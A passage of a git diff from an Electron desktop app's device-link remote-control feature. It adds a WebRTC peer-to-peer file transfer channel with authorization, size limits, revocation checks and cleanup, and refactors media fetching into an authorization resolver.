+ { url: 'xdt-image://s/a.png', prepareOnly: true },
]);
expect(remoteInvoke).toHaveBeenNthCalledWith(2, 'dev-1', 'device-link:media:fetch', [
{ url: 'xdt-image://s/a.png', skipCache: true },
diff --git a/apps/desktop/src/main/device-link/dispatch.ts b/apps/desktop/src/main/device-link/dispatch.ts
index a655beff24..7b118e3d84 100644
--- a/apps/desktop/src/main/device-link/dispatch.ts
+++ b/apps/desktop/src/main/device-link/dispatch.ts
@@ -1,3 +1,5 @@
+import { FILE_PEER_CHANNEL } from '@cindy/device-link';
+import { requestFilePeer, stopFilePeers } from './filePeer';
/**
* dispatch —— device-link 被控端隧道层。
*
@@ -2031,6 +2033,7 @@ export function dropAllControllers(
client: DeviceLinkClient,
reason: 'user' | 'toggle-off' | 'shutdown',
): void {
+ stopFilePeers();
remoteDesktop.stop();
void remoteCredentialHost.closeAll().catch(() => remoteCredentialHost.dispose());
const controllerIds = new Set([
@@ -2091,6 +2094,7 @@ function deactivateControllerState(
}
let changed = false;
changed = acceptedLinkControllers.delete(deviceId) || changed;
+ stopFilePeers(deviceId);
remoteDesktop.stop(deviceId);
void remoteCredentialHost.close(deviceId).catch(() => remoteCredentialHost.dispose());
changed = controllerConnectionEpochByDevice.delete(deviceId) || changed;
@@ -2133,6 +2137,7 @@ export function deactivateController(
/** Relay 连接离开 online:清本连接代所有 active controller,但保留恢复意图。 */
export function deactivateAllControllers(reason: string): void {
+ stopFilePeers();
remoteDesktop.stop();
const controllerIds = new Set([
...subscriptions.getControllerIds(),
@@ -2172,6 +2177,7 @@ export function forgetControllerInvokeState(deviceId: string): void {
/** 显式撤销时清理短时离线队列与 remembered topic,避免恢复后重放撤权期间数据。 */
export function purgeRevokedController(deviceId: string): void {
+ stopFilePeers(deviceId);
remoteDesktop.stop(deviceId);
const changed = deactivateControllerState(deviceId);
topicSubscriptionControllers.delete(deviceId);
@@ -2221,6 +2227,7 @@ async function handleFrame(client: DeviceLinkClient, env: Envelope): Promise<voi
return;
}
clearRemoteInvokeStateFor(src);
+ stopFilePeers(src);
remoteDesktop.stop(src);
void remoteCredentialHost.close(src).catch(() => remoteCredentialHost.dispose());
offlinePushQueue.clear(src);
@@ -3523,6 +3530,10 @@ export async function runInvoke(
};
}
+ if (payload.channel === FILE_PEER_CHANNEL) {
+ try { return { ok: true, result: await requestFilePeer(src, payload.args?.[0]) }; }
+ catch { return { ok: false, error: { code: 'IPC_ERROR', message: 'FILE_PEER_UNAVAILABLE' } }; }
+ }
if (payload.channel === REMOTE_DESKTOP_CHANNEL) {
try { return { ok: true, result: await requestRemoteDesktop(src, payload.args?.[0]) }; }
catch (error) { return { ok: false, error: { code: 'IPC_ERROR', message: error instanceof Error ? error.message : 'DESKTOP_UNAVAILABLE' } }; }
diff --git a/apps/desktop/src/main/device-link/fileAccess.ts b/apps/desktop/src/main/device-link/fileAccess.ts
new file mode 100644
index 0000000000..5b9cd620a2
--- /dev/null
+++ b/apps/desktop/src/main/device-link/fileAccess.ts
@@ -0,0 +1,91 @@
+import {
+ readDeviceFile,
+ DL_MEDIA_FETCH_CHANNEL,
+ FILE_PEER_MAX_BYTES,
+ type DeviceFileResult,
+} from '@cindy/device-link';
+import { tryPeerFile } from './filePeer';
+import { removeRemote } from './mediaTransfer';
+import { captureDataOwnerBroadcastScope, isDataOwnerBroadcastScopeCurrent } from './broadcast-tap';
+
+type Invoke = Parameters<typeof tryPeerFile>[2];
+type LocalFileResult = DeviceFileResult & { path: string; dispose(): Promise<void> };
+/** Platform adapter; authorization stays in the controlled host's shared resolver. */
+export function readRemoteDeviceFile(
+ device: string,
+ url: string,
+ rawInvoke: Invoke,
+ options: {
+ signal?: AbortSignal;
+ skipCache?: boolean;
+ maxPeerBytes?: number;
+ maxBytes?: number;
+ stream?: boolean;
+ workdir?: string;
+ relPath?: string;
+ fallback?: () => Promise<DeviceFileResult>;
+ } = {},
+) {
+ const owner = captureDataOwnerBroadcastScope();
+ const invoke: Invoke = async (...args) => {
+ if (options.signal?.aborted || !isDataOwnerBroadcastScopeCurrent(owner))
+ throw new Error('FILE_PEER_CANCELLED');
+ return rawInvoke(...args);
+ };
+ const fetch = async (prepareOnly: boolean): Promise<DeviceFileResult> => {
+ const response = await invoke(device, DL_MEDIA_FETCH_CHANNEL, [
+ { url, prepareOnly, ...(options.skipCache ? { skipCache: true } : {}) },
+ ]);
+ if (!response.ok) {
+ const error = (response as { error?: { code?: string; message?: string } }).error;
+ throw new Error(`${error?.code ?? 'FILE_READ_FAILED'}: ${error?.message ?? ''}`);
+ }
+ return response.result as DeviceFileResult;
+ };
+ return readDeviceFile<LocalFileResult>({
+ stream: options.stream,
+ signal: options.signal,
+ isCurrent: () => isDataOwnerBroadcastScopeCurrent(owner),
+ discard: async (result) => {
+ if ('dispose' in result && typeof result.dispose === 'function') await result.dispose();
+ else if (result.ossKey && isDataOwnerBroadcastScopeCurrent(owner))
+ await removeRemote(result.ossKey);
+ },
+ prepare: async () => {
+ if (options.workdir && options.fallback) {
+ const caps = await invoke(device, 'file-browser:remote-op', [
+ { op: 'caps', workdir: options.workdir },
+ ]);
+ if (options.signal?.aborted || !isDataOwnerBroadcastScopeCurrent(owner))
+ throw new Error('FILE_PEER_CANCELLED');
+ if (!caps.ok) throw new Error('FILE_CAPABILITY_FAILED');
+ if (!(caps.result as { fileRead?: boolean })?.fileRead) return options.fallback();
+ const reference = await invoke(device, 'file-browser:remote-op', [
+ { op: 'fileUrl', workdir: options.workdir, relPath: options.relPath },
+ ]);
+ const file = reference.result as { ok?: boolean; url?: string; message?: string };
+ if (!reference.ok || !file?.ok || !file.url)
+ throw new Error(file?.message ?? 'FILE_READ_FAILED');
+ url = file.url;
+ // The snapshot's limit may be smaller than the host's newer stat.
+ // Retain it when replacing the caller path with the authorized reference.
+ if (options.maxBytes !== undefined) {
+ const bounded = new URL(url);
+ bounded.searchParams.set('maxBytes', String(options.maxBytes));
+ url = bounded.toString();
+ }
+ }
+ return fetch(true);
+ },
+ peer: async (metadata) => {
+ if (
+ metadata.size >
+ Math.min(options.maxPeerBytes ?? FILE_PEER_MAX_BYTES, FILE_PEER_MAX_BYTES)
+ )
+ return null;
+ const result = await tryPeerFile(device, url, invoke, options.signal);
+ return result ? { ...result, ossKey: '' } : null;
+ },
+ fallback: options.fallback ?? (() => fetch(false)),
+ });
+}
diff --git a/apps/desktop/src/main/device-link/filePeer.ts b/apps/desktop/src/main/device-link/filePeer.ts
new file mode 100644
index 0000000000..9a3d2013c5
--- /dev/null
+++ b/apps/desktop/src/main/device-link/filePeer.ts
@@ -0,0 +1,458 @@
+import { app, ipcMain } from 'electron';
+import { randomUUID } from 'node:crypto';
+import { constants, promises as fs } from 'node:fs';
+import type { FileHandle } from 'node:fs/promises';
+import path from 'node:path';
+import {
+ createFileReadQueue,
+ FILE_PEER_CHUNK_BYTES,
+ FILE_PEER_MAX_BYTES,
+ FILE_PEER_IDLE_MS,
+ FILE_PEER_CHANNEL,
+ parseFilePeerRequest,
+ parseFilePeerFile,
+ type FilePeerFile,
+} from '@cindy/device-link';
+import { FILE_PEER_LOCAL, type FilePeerCommand } from '../../shared/filePeer';
+import { DesktopCaptureWindow } from '../remote-desktop/captureWindow';
+import { loadDesktopIceServers } from '../remote-desktop/iceConfig';
+import { resolveAuthorizedMedia } from './mediaFetch';
+import { readDeviceLinkSettings } from './settings-store';
+import { captureDataOwnerBroadcastScope, isDataOwnerBroadcastScopeCurrent } from './broadcast-tap';
+
+type Owner = ReturnType<typeof captureDataOwnerBroadcastScope>;
+interface Connection {
+ peer: string;
+ owner: Owner;
+ timer: ReturnType<typeof setTimeout>;
+ incoming: boolean;
+ opening?: boolean;
+}
+interface Source {
+ connection: string;
+ file: FileHandle;
+ size: number;
+ mtime: number;
+ offset: number;
+ busy: boolean;
+}
+interface Sink {
+ connection: string;
+ file: FileHandle;
+ size: number;
+ offset: number;
+ busy: boolean;
+}
+interface Outgoing {
+ id: string;
+ remote?: string;
+ busy: boolean;
+ invoke: Invoke;
+}
+const outgoing = new Map<string, Outgoing>();
+const connections = new Map<string, Connection>();
+const sources = new Map<string, Source>();
+const sinks = new Map<string, Sink>();
+const replies = new Map<
+ string,
+ {
+ connection: string;
+ resolve(value?: string): void;
+ reject(error: Error): void;
+ timer: ReturnType<typeof setTimeout>;
+ }
+>();
+const host = new DesktopCaptureWindow(() => stopFilePeers(), 'files');
+let starting: Promise<void> | null = null;
+
+function touch(id: string) {
+ const c = connections.get(id);
+ if (!c || !isDataOwnerBroadcastScopeCurrent(c.owner)) throw new Error('FILE_PEER_CLOSED');
+ const settings = readDeviceLinkSettings();
+ if (
+ c.incoming &&
+ (!settings.remoteControlEnabled || settings.revokedControllers.includes(c.peer))
+ ) {
+ stopConnection(id);
+ throw new Error('FILE_PEER_REVOKED');
+ }
+ clearTimeout(c.timer);
+ c.timer = setTimeout(() => stopConnection(id), FILE_PEER_IDLE_MS);
+ c.timer.unref();
+ return c;
+}
+function track(id: string, peer: string, incoming: boolean) {
+ if (connections.size >= 4) throw new Error('FILE_PEER_BUSY');
+ const timer = setTimeout(() => stopConnection(id), FILE_PEER_IDLE_MS);
+ timer.unref();
+ connections.set(id, { peer, incoming, owner: captureDataOwnerBroadcastScope(), timer });
+}
+function stopConnection(id: string) {
+ const c = connections.get(id);
+ if (!c) return;
+ connections.delete(id);
+ clearTimeout(c.timer);
+ const out = outgoing.get(c.peer);
+ if (out?.id === id) {
+ outgoing.delete(c.peer);
+ if (out.remote && isDataOwnerBroadcastScopeCurrent(c.owner))
+ void out
+ .invoke(c.peer, FILE_PEER_CHANNEL, [{ action: 'close', connection: out.remote }])
+ .catch(() => {});
+ }
+ for (const [ticket, source] of sources)
+ if (source.connection === id) {
+ sources.delete(ticket);
+ void source.file.close().catch(() => {});
+ }
+ for (const [ticket, sink] of sinks)
+ if (sink.connection === id) {
+ sinks.delete(ticket);
+ void sink.file.close().catch(() => {});
+ }
+ if (host.contents && !host.contents.isDestroyed())
+ host.contents.send(FILE_PEER_LOCAL.COMMAND, randomUUID(), { action: 'close', connection: id });
+ for (const [key, p] of replies)
+ if (p.connection === id) {
+ replies.delete(key);
+ clearTimeout(p.timer);
+ p.reject(new Error('FILE_PEER_CLOSED'));
+ }
+ if (!connections.size) {
+ host.dispose();
+ for (const p of replies.values()) {
+ clearTimeout(p.timer);
+ p.reject(new Error('FILE_PEER_CLOSED'));
+ }
+ replies.clear();
+ }
+}
+export function stopFilePeers(peer?: string) {
+ for (const [id, c] of connections) if (!peer || peer === c.peer) stopConnection(id);
+}
+async function command(c: FilePeerCommand): Promise<string | undefined> {
+ touch(c.connection);
+ if (!host.contents) {
+ if (!starting)
+ starting = host.start().finally(() => {
+ starting = null;
+ });
+ await starting;
+ } else if (starting) await starting;
+ touch(c.connection);
+ return new Promise((resolve, reject) => {
+ const id = randomUUID();
+ const timer = setTimeout(
+ () => {
+ replies.delete(id);
+ stopConnection(c.connection);
+ reject(new Error('FILE_PEER_TIMEOUT'));
+ },
+ c.action === 'receive' ? 60_000 : 15_000,
+ );
+ timer.unref();
+ replies.set(id, { connection: c.connection, resolve, reject, timer });
+ host.contents!.send(FILE_PEER_LOCAL.COMMAND, id, c);
+ });
+}
+
+export async function requestFilePeer(peer: string, value: unknown): Promise<unknown> {
+ const r = parseFilePeerRequest(value);
+ if (r.action === 'caps') return { version: 1, maxBytes: FILE_PEER_MAX_BYTES };
+ if (r.action === 'offer') {
+ const id = randomUUID();
+ track(id, peer, true);
+ try {
+ const sdp = await command({
+ action: 'accept',
+ connection: id,
+ servers: await loadDesktopIceServers(),
+ sdp: r.sdp,
+ });
+ return { connection: id, sdp };
+ } catch (error) {
+ stopConnection(id);
+ throw error;
+ }
+ }
+ const c = touch(r.connection);
+ if (!c.incoming || c.peer !== peer) throw new Error('FILE_PEER_DENIED');
+ if (r.action === 'close') {
+ stopConnection(r.connection);
+ return { ok: true };
+ }
+ if (c.opening || [...sources.values()].some((s) => s.connection === r.connection))
+ throw new Error('FILE_PEER_BUSY');
+ c.opening = true;
+ try {
+ let deadline: ReturnType<typeof setTimeout> | undefined;
+ const authorized = await Promise.race([
+ resolveAuthorizedMedia({ url: r.url }, FILE_PEER_MAX_BYTES),
+ new Promise<never>((_, reject) => {
+ deadline = setTimeout(() => {
+ stopConnection(r.connection);
+ reject(new Error('FILE_PEER_TIMEOUT'));
+ }, 20_000);
+ deadline.unref();
+ }),
+ ]).finally(() => clearTimeout(deadline));
+ touch(r.connection);
+ const file = await fs.open(
+ authorized.absPath,
+ constants.O_RDONLY | (constants.O_NOFOLLOW ?? 0),
+ );
+ try {
+ const stat = await file.stat();
+ touch(r.connection);
+ if (!stat.isFile() || stat.size > (authorized.maxBytes ?? FILE_PEER_MAX_BYTES))
+ throw new Error('FILE_PEER_SIZE');
+ const ticket = randomUUID();
+ const ext = (authorized.uploadExtHint ?? path.extname(authorized.absPath)).toLowerCase();
+ const mimeType =
+ authorized.mimeType ??
+ (
+ {
+ '.html': 'text/html',
+ '.htm': 'text/html',
+ '.png': 'image/png',
+ '.jpg': 'image/jpeg',
+ '.jpeg': 'image/jpeg',
+ '.webp': 'image/webp',
+ '.svg': 'image/svg+xml',
+ '.gif': 'image/gif',
+ '.pdf': 'application/pdf',
+ } as Record<string, string>
+ )[ext] ??
+ 'application/octet-stream';
+ sources.set(ticket, {
+ connection: r.connection,
+ file,
+ size: stat.size,
+ mtime: stat.mtimeMs,
+ offset: 0,
+ busy: false,
+ });
+ return { ticket, size: stat.size, mimeType };
+ } catch (error) {
+ await file.close();
+ throw error;
+ }
+ } finally {
+ c.opening = false;
+ }
+}
+
+export function registerFilePeerIpc() {
+ ipcMain.handle(FILE_PEER_LOCAL.REGISTER, (e) => host.registered(e));
+ ipcMain.handle(FILE_PEER_LOCAL.REPLY, (e, id: unknown, ok: unknown, value: unknown) => {
+ host.assertSender(e);
+ if (
+ typeof id !== 'string' ||
+ typeof ok !== 'boolean' ||
+ (value !== undefined && (typeof value !== 'string' || value.length > 128 * 1024))
+ )
+ throw new Error('FILE_PEER_REPLY');
+ const pending = replies.get(id);
+ if (!pending) return;
+ replies.delete(id);
+ clearTimeout(pending.timer);
+ if (ok) pending.resolve(value as string | undefined);
+ else pending.reject(new Error('FILE_PEER_UNAVAILABLE'));
+ });
+ ipcMain.handle(
+ FILE_PEER_LOCAL.READ,
+ async (e, connection: unknown, ticket: unknown, offset: unknown) => {
+ host.assertSender(e);
+ if (
+ typeof connection !== 'string' ||
+ typeof ticket !== 'string' ||
+ !Number.isSafeInteger(offset)
+ )
+ throw new Error('FILE_PEER_BLOCK');
+ const s = sources.get(ticket);
+ if (!s || s.connection !== connection || s.busy || offset !== s.offset)
+ throw new Error('FILE_PEER_BLOCK');
+ touch(connection);
+ s.busy = true;
+ try {
+ const stat = await s.file.stat();
+ if (stat.size !== s.size || stat.mtimeMs !== s.mtime) throw new Error('FILE_PEER_CHANGED');
+ const bytes = Buffer.alloc(Math.min(FILE_PEER_CHUNK_BYTES, s.size - s.offset));
+ if (bytes.length) {
+ const read = await s.file.read(bytes, 0, bytes.length, s.offset);
+ if (read.bytesRead !== bytes.length) throw new Error('FILE_PEER_CHANGED');
+ }
+ touch(connection);
+ if (sources.get(ticket) !== s) throw new Error('FILE_PEER_CLOSED');
+ s.offset += bytes.length;
+ // Receive deadlines measure stalled disk/network progress, not total file duration.
+ for (const pending of replies.values())
+ if (pending.connection === s.connection) pending.timer.refresh();
+ if (!bytes.length) {
+ sources.delete(ticket);
+ await s.file.close();
+ }
+ return bytes.toString('base64');
+ } catch (error) {
+ stopConnection(connection);
+ throw error;
+ } finally {
+ s.busy = false;
+ }
+ },
+ );
+ ipcMain.handle(
+ FILE_PEER_LOCAL.WRITE,
+ async (e, id: unknown, offset: unknown, base64: unknown) => {
+ host.assertSender(e);
+ if (typeof id !== 'string' || typeof base64 !== 'string' || base64.length > 22000)
+ throw new Error('FILE_PEER_BLOCK');
+ const s = sinks.get(id),
+ bytes = Buffer.from(base64, 'base64');
+ if (
+ !s ||
+ s.busy ||
+ offset !== s.offset ||
+ bytes.length > FILE_PEER_CHUNK_BYTES ||
+ s.offset + bytes.length > s.size ||
+ bytes.toString('base64') !== base64
+ )
+ throw new Error('FILE_PEER_BLOCK');
+ touch(s.connection);
+ s.busy = true;
+ try {
+ const written = await s.file.write(bytes, 0, bytes.length, s.offset);
+ touch(s.connection);
+ if (written.bytesWritten !== bytes.length || sinks.get(id) !== s)
+ throw new Error('FILE_PEER_CLOSED');
+ s.offset += bytes.length;
+ // Receive deadlines measure stalled disk/network progress, not total file duration.
+ for (const pending of replies.values())
+ if (pending.connection === s.connection) pending.timer.refresh();
+ } finally {
+ s.busy = false;
+ }
+ },
+ );
+ app.on('before-quit', () => stopFilePeers());
+}
+
+type Invoke = (
+ peer: string,
+ channel: string,
+ args: unknown[],
+) => Promise<{ ok: boolean; result?: unknown }>;
+/** A caller owns the returned temporary file and must dispose it after consuming it. */
+const queuePeerRead = createFileReadQueue();
+export function tryPeerFile(peer: string, url: string, invoke: Invoke, signal?: AbortSignal) {
+ const owner = captureDataOwnerBroadcastScope();
+ return queuePeerRead(peer, () => {
+ if (!isDataOwnerBroadcastScopeCurrent(owner)) throw new Error('FILE_PEER_CANCELLED');
+ return receivePeerFile(peer, url, invoke, signal);
+ }, signal);
+}
+async function receivePeerFile(peer: string, url: string, invoke: Invoke, signal?: AbortSignal) {
+ if (signal?.aborted) throw new Error('FILE_PEER_CANCELLED');
+ const owner = captureDataOwnerBroadcastScope();
+ let out = outgoing.get(peer);
+ if (out?.busy) return null;
+ if (!out) {
+ out = { id: randomUUID(), busy: false, invoke };
+ outgoing.set(peer, out);
+ }
+ out.busy = true;
+ const id = out.id;
+ let remote = out.remote,
+ directory: string | undefined,
+ complete = false;
+ const cancel = () => stopConnection(id);
+ try {
+ signal?.addEventListener('abort', cancel, { once: true });
+ if (!remote) {
+ const caps = await invoke(peer, FILE_PEER_CHANNEL, [{ action: 'caps' }]);
+ if (signal?.aborted || !isDataOwnerBroadcastScopeCurrent(owner))
+ throw new Error('FILE_PEER_CANCELLED');
+ if (!caps.ok || (caps.result as { version?: unknown })?.version !== 1) return null;
+ track(id, peer, false);
+ const offer = await command({
+ action: 'offer',
+ connection: id,
+ servers: await loadDesktopIceServers(),
+ });
+ const response = await invoke(peer, FILE_PEER_CHANNEL, [{ action: 'offer', sdp: offer }]);
+ const r = response.result as { connection?: string; sdp?: string };
+ if (
+ !response.ok ||
+ !r ||
+ typeof r.connection !== 'string' ||
+ !/^[a-f0-9-]{36}$/.test(r.connection) ||
+ typeof r.sdp !== 'string' ||
+ r.sdp.length > 128 * 1024
+ )
+ throw new Error('FILE_PEER_ANSWER');
+ remote = r.connection;
+ out.remote = remote;
+ await command({ action: 'answer', connection: id, sdp: r.sdp });
+ }
+ touch(id);
+ const opened = await invoke(peer, FILE_PEER_CHANNEL, [
+ { action: 'open', connection: remote, url },
+ ]);
+ if (!opened.ok) throw new Error('FILE_PEER_OPEN');
+ const file: FilePeerFile = parseFilePeerFile(opened.result);
+ touch(id);
+ const space = await fs.statfs(app.getPath('temp'));
+ if (space.bavail * space.bsize < 2 * file.size + 256 * 1024 * 1024) return null;
+ directory = await fs.mkdtemp(path.join(app.getPath('temp'), 'cindy-file-peer-'));
+ const destination = path.join(directory, 'file');
+ const handle = await fs.open(destination, 'wx', 0o600),
+ sink = randomUUID();
+ sinks.set(sink, { connection: id, file: handle, offset: 0, size: file.size, busy: false });
+ try {
+ await command({
+ action: 'receive',
+ connection: id,
+ ticket: file.ticket,
+ size: file.size,
+ sink,
+ });
+ if (
+ sinks.get(sink)?.offset !== file.size ||
+ signal?.aborted ||
+ !isDataOwnerBroadcastScopeCurrent(owner)
+ )
+ throw new Error('FILE_PEER_SIZE');
+ } finally {
+ sinks.delete(sink);
+ await handle.close().catch(() => {});
+ }
+ if (signal?.aborted || !isDataOwnerBroadcastScopeCurrent(owner))
+ throw new Error('FILE_PEER_CLOSED');
+ touch(id);
+ const ownedDirectory = directory;
+ directory = undefined;
+ complete = true;
+ return {
+ path: destination,
+ size: file.size,
+ mimeType: file.mimeType,
+ dispose: () => fs.rm(ownedDirectory, { recursive: true, force: true }),
+ };
+ } catch {
+ if (signal?.aborted || !isDataOwnerBroadcastScopeCurrent(owner))
+ throw new Error('FILE_PEER_CANCELLED');
+ return null;
+ } finally {
+ signal?.removeEventListener('abort', cancel);
+ out.busy = false;
+ if (!complete) {
+ stopConnection(id);
+ if (outgoing.get(peer) === out) outgoing.delete(peer);
+ if (remote && isDataOwnerBroadcastScopeCurrent(owner))
+ void invoke(peer, FILE_PEER_CHANNEL, [{ action: 'close', connection: remote }]).catch(
+ () => {},
+ );
+ }
+ if (directory) await fs.rm(directory, { recursive: true, force: true });
+ }
+}
diff --git a/apps/desktop/src/main/device-link/mediaFetch.ts b/apps/desktop/src/main/device-link/mediaFetch.ts
index 13cb5693fe..875f682b86 100644
--- a/apps/desktop/src/main/device-link/mediaFetch.ts
+++ b/apps/desktop/src/main/device-link/mediaFetch.ts
@@ -24,7 +24,9 @@
* 其对象被查看器关闭即删,而播放器侧没有自动 skipCache 重试路径,悬空 key 会卡住播放。
*/
import path from 'node:path';
-import { realpath, stat } from 'node:fs/promises';
+import { open, realpath, stat } from 'node:fs/promises';
+import { constants } from 'node:fs';
+import { FILE_INLINE_MAX_BYTES } from '@cindy/device-link';
import * as imageCacheStore from '../imageCacheStore.js';
import * as videoCacheStore from '../videoCacheStore.js';
@@ -32,7 +34,7 @@ import * as cindyMediaBlobStore from '../cindy-media/blobStore.js';
import { getSensitiveMediaBlocklist, isPathAllowedAgainst } from '../filePathPolicy.js';
import { materializeSshRemoteMedia } from '../file-browser/ssh-media.js';
import { getSessionFsSnapshot } from '../localDb/ipc/sessions.js';
-import { uploadLocalFile } from './mediaTransfer.js';
+import { mimeOf, uploadLocalFile } from './mediaTransfer.js';
import { createLogger } from '../logger.js';
const log = createLogger('device-link:mediaFetch');
@@ -67,6 +69,7 @@ export interface MediaFetchResult {
* presign + 控制端下载」整往返(与 file-browser thumbnail op 同取舍)。
*/
inlineBase64?: string;
+ transferRequired?: boolean;
}
/** 缩略图最长边:手机聊天气泡最宽 ~360pt@3x≈1080px,1024 足够清晰;点开查看器仍取原图。 */
@@ -136,7 +139,12 @@ async function renderChatThumbnailSharp(absPath: string): Promise<Buffer | null>
if (!sharp) return null;
return sharp(absPath)
.rotate()
- .resize({ width: THUMB_MAX_EDGE, height: THUMB_MAX_EDGE, fit: 'inside', withoutEnlargement: true })
+ .resize({
+ width: THUMB_MAX_EDGE,
+ height: THUMB_MAX_EDGE,
+ fit: 'inside',
+ withoutEnlargement: true,
+ })
.webp({ quality: THUMB_WEBP_QUALITY })
.toBuffer();
}
@@ -211,7 +219,9 @@ function isInsideRealDir(realChild: string, realBase: string): boolean {
* xdt-file/audio URL 上的 SSH 取件上下文。URL 只作声明,真正的 host/workdir
* 必须按 sessionId 从本地会话库反查,并与 URL 声明逐项一致后才可使用。
*/
-async function parseSshMediaOrigin(url: string): Promise<{ remoteHostId: string; workdir: string } | null> {
+async function parseSshMediaOrigin(
+ url: string,
+): Promise<{ remoteHostId: string; workdir: string } | null> {
const params = new URL(url).searchParams;
const hasSessionId = params.has('sessionId');
const hasRemoteHostId = params.has('remoteHostId');
@@ -221,8 +231,14 @@ async function parseSshMediaOrigin(url: string): Promise<{ remoteHostId: string;
const sessionId = params.get('sessionId') ?? '';
const remoteHostId = params.get('remoteHostId') ?? '';
const workdir = params.get('workdir') ?? '';
- if (!hasSessionId || !hasRemoteHostId || !hasWorkdir
- || !sessionId.trim() || !remoteHostId.trim() || !workdir.trim()) {
+ if (
+ !hasSessionId ||
+ !hasRemoteHostId ||
+ !hasWorkdir ||
+ !sessionId.trim() ||
+ !remoteHostId.trim() ||
+ !workdir.trim()
+ ) {
throw new Error('SSH 媒体参数不完整:sessionId、remoteHostId 和 workdir 必须同时提供');
}
@@ -262,9 +278,11 @@ function lookupUploadCache(
): UploadCacheEntry | null {
const hit = uploadCache.get(url);
if (!hit) return null;
- if (now - hit.uploadedAt >= UPLOAD_CACHE_TTL_MS
- || hit.statSize !== statSize
- || hit.statMtimeMs !== statMtimeMs) {
+ if (
+ now - hit.uploadedAt >= UPLOAD_CACHE_TTL_MS ||
+ hit.statSize !== statSize ||
+ hit.statMtimeMs !== statMtimeMs
+ ) {
uploadCache.delete(url);
return null;
}
@@ -289,29 +307,32 @@ function rememberUpload(url: string, entry: UploadCacheEntry): void {
* invoke 帧 inline 返回(不经 OSS);不可缩(gif/svg/解码失败/超限)自动退回原图路径。
* 老被控端不识别该字段,自然回落原图 ossKey,控制端两种回包都要兼容。
*/
-export async function fetchLocalMediaToOss(arg: unknown): Promise<MediaFetchResult> {
- const record = arg && typeof arg === 'object'
- ? arg as { url?: unknown; skipCache?: unknown; thumbnail?: unknown }
- : {};
+export async function resolveAuthorizedMedia(arg: unknown, maximumBytes?: number) {
+ const record =
+ arg && typeof arg === 'object'
+ ? (arg as { url?: unknown; skipCache?: unknown; thumbnail?: unknown })
+ : {};
const url = record.url;
if (typeof url !== 'string' || !url) throw new Error('media:fetch 缺少 url');
- const skipCache = record.skipCache === true;
const isPathMedia = url.startsWith('xdt-file://') || url.startsWith('xdt-audio://');
const sshOrigin = isPathMedia ? await parseSshMediaOrigin(url) : null;
const constraints: PathMediaConstraints = isPathMedia
? parsePathMediaConstraints(url)
: { baseDir: null, maxBytes: null };
+ if (maximumBytes !== undefined)
+ constraints.maxBytes = Math.min(constraints.maxBytes ?? maximumBytes, maximumBytes);
let absPath: string;
let mimeType: string | undefined;
if (sshOrigin) {
// SSH 分支的两道约束必须在 materialize **内部**生效:它 stat 完就会把整份文件分片拉进
// Desktop 磁盘缓存,拉完再判等于流量已经花掉。
- const sshLimits = constraints.baseDir !== null || constraints.maxBytes !== null
- ? {
- ...(constraints.baseDir ? { baseDir: constraints.baseDir } : {}),
- ...(constraints.maxBytes !== null ? { maxBytes: constraints.maxBytes } : {}),
- }
- : undefined;
+ const sshLimits =
+ constraints.baseDir !== null || constraints.maxBytes !== null
+ ? {
+ ...(constraints.baseDir ? { baseDir: constraints.baseDir } : {}),
+ ...(constraints.maxBytes !== null ? { maxBytes: constraints.maxBytes } : {}),
+ }
+ : undefined;
const materialized = await materializeSshRemoteMedia(sshOrigin, url, undefined, sshLimits);
if (!materialized.ok) {
throw new Error(`SSH 媒体取回失败(${materialized.status}):${materialized.message}`);
@@ -375,11 +396,54 @@ export async function fetchLocalMediaToOss(arg: unknown): Promise<MediaFetchResu
if (constraints.maxBytes !== null && !sshOrigin) {
const sizeStat = await stat(absPath);
if (sizeStat.size > constraints.maxBytes) {
- log.warn(`media:fetch rejected oversize ${sizeStat.size}B > ${constraints.maxBytes}B ${url.slice(0, 60)}`);
+ log.warn(
+ `media:fetch rejected oversize ${sizeStat.size}B > ${constraints.maxBytes}B ${url.slice(0, 60)}`,
+ );
throw new Error(`资源超出取件大小上限(${sizeStat.size} > ${constraints.maxBytes} 字节)`);
}
}
+ return { absPath, mimeType, uploadExtHint, maxBytes: constraints.maxBytes };
+}
+
+export async function fetchLocalMediaToOss(arg: unknown): Promise<MediaFetchResult> {
+ const record =
+ arg && typeof arg === 'object'
+ ? (arg as { url?: unknown; skipCache?: unknown; thumbnail?: unknown; prepareOnly?: unknown })
+ : {};
+ const { absPath, mimeType, uploadExtHint, maxBytes } = await resolveAuthorizedMedia(arg);
+ const url = record.url as string;
+ const skipCache = record.skipCache === true;
+ if (record.prepareOnly === true && record.thumbnail !== true) {
+ const file = await open(absPath, constants.O_RDONLY | (constants.O_NOFOLLOW ?? 0));
+ try {
+ const before = await file.stat();
+ if (!before.isFile()) throw new Error('REMOTE_FILE_NOT_REGULAR');
+ if (maxBytes !== null && before.size > maxBytes) throw new Error('REMOTE_FILE_TOO_LARGE');
+ const result = {
+ ossKey: '',
+ size: before.size,
+ mimeType:
+ mimeType ??
+ mimeOf((uploadExtHint ?? path.extname(absPath)).replace(/^\./, '').toLowerCase()),
+ };
+ if (before.size > FILE_INLINE_MAX_BYTES) return { ...result, transferRequired: true };
+ // Bounded read: a growing file cannot allocate an unbounded relay response.
+ const bytes = Buffer.alloc(before.size);
+ let offset = 0;
+ while (offset < bytes.length) {
+ const read = await file.read(bytes, offset, bytes.length - offset, offset);
+ if (!read.bytesRead) throw new Error('REMOTE_FILE_CHANGED');
+ offset += read.bytesRead;
+ }
+ const after = await file.stat();
+ if (after.size !== before.size || after.mtimeMs !== before.mtimeMs)
+ throw new Error('REMOTE_FILE_CHANGED');
+ return { ...result, inlineBase64: bytes.toString('base64') };
+ } finally {
+ await file.close();
+ }
+ }
if (record.thumbnail === true && canThumbnail(absPath, mimeType)) {
try {
// 输入体量护栏:病态大图(> 48MB)解码成本失控,直接放弃缩图走原图路径;
@@ -422,6 +486,7 @@ export async function fetchLocalMediaToOss(arg: unknown): Promise<MediaFetchResu
}
const uploaded = await uploadLocalFile(absPath, {
+ ...(maxBytes !== null ? { maxBytes } : {}),
...(mimeType ? { contentType: mimeType } : {}),
...(uploadExtHint ? { extHint: uploadExtHint } : {}),
});
diff --git a/apps/desktop/src/main/device-link/mediaTransfer.ts b/apps/desktop/src/main/device-link/mediaTransfer.ts
index 1935e33a2d..eaad3eeb79 100644
--- a/apps/desktop/src/main/device-link/mediaTransfer.ts
+++ b/apps/desktop/src/main/device-link/mediaTransfer.ts
@@ -87,7 +87,7 @@ function extOf(localPath: string): string {
}
/** ext → mime,未知回落 application/octet-stream。 */
-function mimeOf(ext: string): string {
+export function mimeOf(ext: string): string {
